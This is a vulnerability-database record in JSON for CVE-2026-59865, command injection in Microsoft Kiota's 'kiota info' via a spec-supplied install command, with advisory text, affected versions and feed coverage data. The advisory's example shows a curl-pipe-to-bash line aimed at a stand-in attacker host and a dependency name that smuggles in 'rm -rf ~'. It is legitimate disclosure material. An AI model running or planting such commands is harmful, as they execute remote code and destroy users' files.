{"id":"CVE-2026-59865","revision":null,"records":[{"revision":"6dbe1c24a7034703abd7ec9d6625ee5f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59865","aliases":[],"title":"Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","state":0,"publishedAt":"2026-07-16T14:43:40.058+00:00","modifiedAt":"2026-08-17T15:03:03.236+00:00","affected":[{"ecosystem":"Vendor product","name":"kiota","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"microsoft\",\n                    \"product\": \"kiota\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.30.0, < 1.31.1\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 1.29.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj","https://github.com/microsoft/kiota/pull/7883","https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6","https://github.com/microsoft/kiota/releases/tag/v1.32.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59865","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59865","identifiers":["CVE-2026-59865"]},"retained":false,"historicalAffected":[]},{"revision":"789ecdffa7804453b4114627133d2db9","observedAt":"2026-10-25T14:19:22.811+00:00","statement":{"source":"nvd","id":"CVE-2026-59865","aliases":[],"title":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description…","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","state":0,"publishedAt":"2026-07-16T16:19:15.373+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6","https://github.com/microsoft/kiota/pull/7883","https://github.com/microsoft/kiota/releases/tag/v1.32.5","https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59865","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94","CWE-829"],"productCriteria":[],"sourceDates":{"published":"2026-07-16T16:19:15.373","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59865","identifiers":["CVE-2026-59865"]},"retained":false,"historicalAffected":[]},{"revision":"a334e6ab0ce04d4698a003801c345e86","observedAt":"2026-10-23T16:01:25.029+00:00","statement":{"source":"osv","id":"GHSA-hq9q-27g5-qwpj","aliases":["CVE-2026-59865"],"title":"Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d <attacker-spec> -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.","state":0,"publishedAt":"2026-07-24T16:11:46+00:00","modifiedAt":"2026-08-17T15:00:08.1287462+00:00","affected":[{"ecosystem":"NuGet","name":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"1.30.0"},{"kind":"fixed","version":"1.32.5"}]}],"versions":["1.30.0","1.31.0","1.31.1","1.32.0","1.32.1","1.32.2","1.32.3","1.32.4"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"1.30.0"},{"kind":"fixed","version":"1.32.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.29.1"}]}],"versions":["0.1.0-preview","0.1.1-preview","0.1.2-preview","0.1.3-preview","0.10.0-preview","0.11.0-preview","0.11.1-preview","0.2.0-preview","0.2.1-preview","0.3.0-preview","0.4.0-preview","0.5.0-preview","0.5.1-preview","0.6.0-preview","0.7.1-preview","0.8.3-preview","0.9.0-preview","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.22.1","1.22.2","1.22.3","1.23.0","1.24.0","1.24.1","1.24.2","1.24.3","1.25.1","1.26.0","1.26.1","1.27.0","1.28.0","1.29.0","1.3.0","1.4.0","1.5.0","1.5.1","1.6.1","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"],"rawVersionEvidence":null},{"ecosystem":"NuGet","name":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.29.1"}]}],"versions":["0.2.0-preview","0.3.0-preview","0.4.0-preview","0.5.0-preview","0.5.1-preview","0.6.0-preview","0.7.1-preview","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.22.1","1.22.2","1.22.3","1.23.0","1.3.0","1.4.0","1.5.0","1.5.1","1.6.1","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj","https://nvd.nist.gov/vuln/detail/CVE-2026-59865","https://github.com/microsoft/kiota/pull/7883","https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6","https://github.com/microsoft/kiota","https://github.com/microsoft/kiota/releases/tag/v1.32.5"],"sourceUrl":"https://github.com/advisories/GHSA-hq9q-27g5-qwpj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hq9q-27g5-qwpj","identifiers":["GHSA-hq9q-27g5-qwpj","CVE-2026-59865"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T10:09:34.0172509+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T10:09:34.0172509+00:00","lastSuccessAt":"2026-10-27T10:09:34.2036502+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:34.203653+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-58bd20eb1c173e279bc77b11e82554c8e98062750684c6e9d920fc51991f5484","complete":true,"records":414891,"lastAttemptAt":"2026-10-27T10:09:33.4404255+00:00","lastSuccessAt":"2026-10-27T10:09:33.4069739+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:33.4404255+00:00","snapshotPublishedAt":"2026-10-27T09:30:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T10:10:21.532529+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T10:09:34.0172509+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T10:09:34.0172509+00:00","lastSuccessAt":"2026-10-27T10:09:34.2047822+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:34.204783+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1cf3dd00f71445ea951a915a8c2765a8","complete":true,"records":13416,"lastAttemptAt":"2026-10-27T10:10:19.5433878+00:00","lastSuccessAt":"2026-10-27T10:10:19.54+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:10:19.54+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T10:09:33.9651012+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:33.9651012+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T10:09:33.594221+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:33.594221+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T10:09:33.9810013+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:33.9810013+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-513066461af8d030bad8efab4fea81eabd246acd525512aa7469c95ccf02c320","complete":true,"records":230813,"lastAttemptAt":"2026-10-27T10:09:33.7755937+00:00","lastSuccessAt":"2026-10-27T09:02:44.9044939+00:00","error":null,"lastVerifiedAt":"2026-10-27T10:09:33.7755937+00:00","snapshotPublishedAt":"2026-10-27T08:48:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}